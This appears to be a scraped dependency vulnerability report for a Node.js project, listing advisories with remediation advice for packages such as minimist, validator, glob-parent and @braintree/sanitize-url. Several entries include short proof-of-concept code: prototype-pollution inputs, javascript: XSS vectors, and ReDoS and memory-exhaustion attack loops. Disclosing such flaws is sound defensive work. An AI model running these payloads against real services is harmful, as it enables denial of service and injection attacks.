Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › pm2@2.10.4 › yamljs@0.3.0 › glob@7.2.3 › inflight@1.0.6
Overview
Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres
function due to improperly deleting keys from the reqs
object after execution of callbacks. This behavior causes the keys to remain in the reqs
object, which leads to resource exhaustion.
Exploiting this vulnerability results in crashing the node
process or in the application crash.
Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.
To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.
PoC
const inflight = require('inflight');
function testInflight() {
let i = 0;
function scheduleNext() {
let key = `key-${i++}`;
const callback = () => {
};
for (let j = 0; j < 1000000; j++) {
inflight(key, callback);
}
setImmediate(scheduleNext);
}
if (i % 100 === 0) {
console.log(process.memoryUsage());
}
scheduleNext();
}
testInflight();
Remediation
There is no fixed version for inflight
.
References
medium severity
- Vulnerable module: node-fetch
- Introduced through: swagger-ui@3.52.5
Detailed paths
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › swagger-ui@3.52.5 › react@15.7.0 › fbjs@0.8.18 › isomorphic-fetch@2.2.1 › node-fetch@1.7.3
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › swagger-ui@3.52.5 › react-dom@15.7.0 › fbjs@0.8.18 › isomorphic-fetch@2.2.1 › node-fetch@1.7.3
Overview
node-fetch is a light-weight module that brings window.fetch to node.js
Affected versions of this package are vulnerable to Denial of Service. Node Fetch did not honor the size
option after following a redirect, which means that when a content size was over the limit, a FetchError would never get thrown and the process would end without failure.
Remediation
Upgrade node-fetch
to version 2.6.1, 3.0.0-beta.9 or higher.
References
medium severity
- Vulnerable module: minimist
- Introduced through: pm2@2.10.4
Detailed paths
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › pm2@2.10.4 › mkdirp@0.5.1 › minimist@0.0.8
Overview
minimist is a parse argument options module.
Affected versions of this package are vulnerable to Prototype Pollution. The library could be tricked into adding or modifying properties of Object.prototype
using a constructor
or __proto__
payload.
PoC by Snyk
require('minimist')('--__proto__.injected0 value0'.split(' '));
console.log(({}).injected0 === 'value0'); // true
require('minimist')('--constructor.prototype.injected1 value1'.split(' '));
console.log(({}).injected1 === 'value1'); // true
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade minimist
to version 0.2.1, 1.2.3 or higher.
References
medium severity
- Vulnerable module: @braintree/sanitize-url
- Introduced through: swagger-ui@3.52.5
Detailed paths
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › swagger-ui@3.52.5 › @braintree/sanitize-url@5.0.2Remediation: Upgrade to swagger-ui@4.7.0.
Overview
@braintree/sanitize-url is an A url sanitizer
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) due to improper sanitization in sanitizeUrl
function.
PoC:
const sanitizeUrl = require("@braintree/sanitize-url").sanitizeUrl
for(const vector of [ "javascript:alert('XSS')",
"javascript:alert('XSS')",
"javascript:alert('XSS')",
"javascript:alert('XSS')",
"jav ascript:alert('XSS');",
"  javascript:alert('XSS');"
]) {
console.log(sanitizeUrl(vector))
}
Details
A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, <
can be coded as <
; and >
can be coded as >
; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses <
and >
as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
Type | Origin | Description |
---|---|---|
Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?
,&
,/
,<
,>
and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade @braintree/sanitize-url
to version 6.0.0 or higher.
References
medium severity
- Vulnerable module: @braintree/sanitize-url
- Introduced through: swagger-ui@3.52.5
Detailed paths
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › swagger-ui@3.52.5 › @braintree/sanitize-url@5.0.2Remediation: Upgrade to swagger-ui@4.16.1.
Overview
@braintree/sanitize-url is an A url sanitizer
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) due to improper user-input sanitization, via HTML entities tab.
Details
A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, <
can be coded as <
; and >
can be coded as >
; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses <
and >
as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
Type | Origin | Description |
---|---|---|
Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?
,&
,/
,<
,>
and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade @braintree/sanitize-url
to version 6.0.1 or higher.
References
medium severity
- Vulnerable module: swagger-ui
- Introduced through: swagger-ui@3.52.5
Detailed paths
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › swagger-ui@3.52.5Remediation: Upgrade to swagger-ui@4.1.3.
Overview
swagger-ui is a library that allows interaction and visualisation of APIs.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the ?url
parameter, which was intended to allow displaying remote OpenAPI definitions. This functionality may pose a risk for users who host their own SwaggerUI instances. In particular, including remote OpenAPI definitions opens a vector for phishing attacks by abusing the trusted names/domains of self-hosted instances.
NOTE: This vulnerability has also been identified as: CVE-2021-46708
Remediation
Upgrade swagger-ui
to version 4.1.3 or higher.
References
medium severity
- Vulnerable module: swagger-ui
- Introduced through: swagger-ui@3.52.5
Detailed paths
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › swagger-ui@3.52.5Remediation: Upgrade to swagger-ui@4.1.3.
Overview
swagger-ui is a library that allows interaction and visualisation of APIs.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the ?url
parameter, which was intended to allow displaying remote OpenAPI definitions. This functionality may pose a risk for users who host their own SwaggerUI instances. In particular, including remote OpenAPI definitions opens a vector for phishing attacks by abusing the trusted names/domains of self-hosted instances.
NOTE: This vulnerability has also been identified as: CVE-2018-25031
Remediation
Upgrade swagger-ui
to version 4.1.3 or higher.
References
medium severity
- Vulnerable module: glob-parent
- Introduced through: pm2@2.10.4
Detailed paths
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › pm2@2.10.4 › chokidar@2.1.8 › glob-parent@3.1.0Remediation: Upgrade to pm2@4.0.0.
Overview
glob-parent is a package that helps extracting the non-magic parent path from a glob string.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The enclosure
regex used to check for strings ending in enclosure containing path separator.
PoC by Yeting Li
var globParent = require("glob-parent")
function build_attack(n) {
var ret = "{"
for (var i = 0; i < n; i++) {
ret += "/"
}
return ret;
}
globParent(build_attack(5000));
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade glob-parent
to version 5.1.2 or higher.
References
medium severity
- Vulnerable module: redis
- Introduced through: redis@2.8.0
Detailed paths
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › redis@2.8.0Remediation: Upgrade to redis@3.1.1.
Overview
redis is an A high performance Redis client.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). When a client is in monitoring mode, monitor_regex
, which is used to detected monitor messages` could cause exponential backtracking on some strings, leading to denial of service.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade redis
to version 3.1.1 or higher.
References
medium severity
- Vulnerable module: superagent
- Introduced through: super-siren@2.0.2
Detailed paths
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › superagent@2.3.0
Overview
superagent is a Small progressive client-side HTTP request library, and Node.js module with the same API, supporting many high-level HTTP client features.
Affected versions of this package are vulnerable to Information Exposure due to sending the contents of Authorization to third parties.
Remediation
Upgrade superagent
to version 3.8.1 or higher.
References
medium severity
- Vulnerable module: validator
- Introduced through: swagger-tools@0.10.4
Detailed paths
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › swagger-tools@0.10.4 › z-schema@3.25.1 › validator@10.11.0
Overview
validator is a library of string validators and sanitizers.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isSlug
function
PoC
var validator = require("validator")
function build_attack(n) {
var ret = "111"
for (var i = 0; i < n; i++) {
ret += "a"
}
return ret+"_";
}
for(var i = 1; i <= 50000; i++) {
if (i % 10000 == 0) {
var time = Date.now();
var attack_str = build_attack(i)
validator.isSlug(attack_str)
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade validator
to version 13.6.0 or higher.
References
medium severity
- Vulnerable module: validator
- Introduced through: swagger-tools@0.10.4
Detailed paths
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › swagger-tools@0.10.4 › z-schema@3.25.1 › validator@10.11.0
Overview
validator is a library of string validators and sanitizers.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isHSL
function.
PoC
var validator = require("validator")
function build_attack(n) {
var ret = "hsla(0"
for (var i = 0; i < n; i++) {
ret += " "
}
return ret+"◎";
}
for(var i = 1; i <= 50000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i)
validator.isHSL(attack_str)
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade validator
to version 13.6.0 or higher.
References
medium severity
- Vulnerable module: validator
- Introduced through: swagger-tools@0.10.4
Detailed paths
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › swagger-tools@0.10.4 › z-schema@3.25.1 › validator@10.11.0
Overview
validator is a library of string validators and sanitizers.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isEmail
function.
PoC
var validator = require("validator")
function build_attack(n) {
var ret = ""
for (var i = 0; i < n; i++) {
ret += "<"
}
return ret+"";
}
for(var i = 1; i <= 50000; i++) {
if (i % 10000 == 0) {
var time = Date.now();
var attack_str = build_attack(i)
validator.isEmail(attack_str,{ allow_display_name: true })
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade validator
to version 13.6.0 or higher.
References
medium severity
patched
- Vulnerable module: ws
- Introduced through: zetta@1.6.0
Vulnerability patched for: zetta revolt ws
Vulnerability patched for: zetta revolt ws
Detailed paths
-
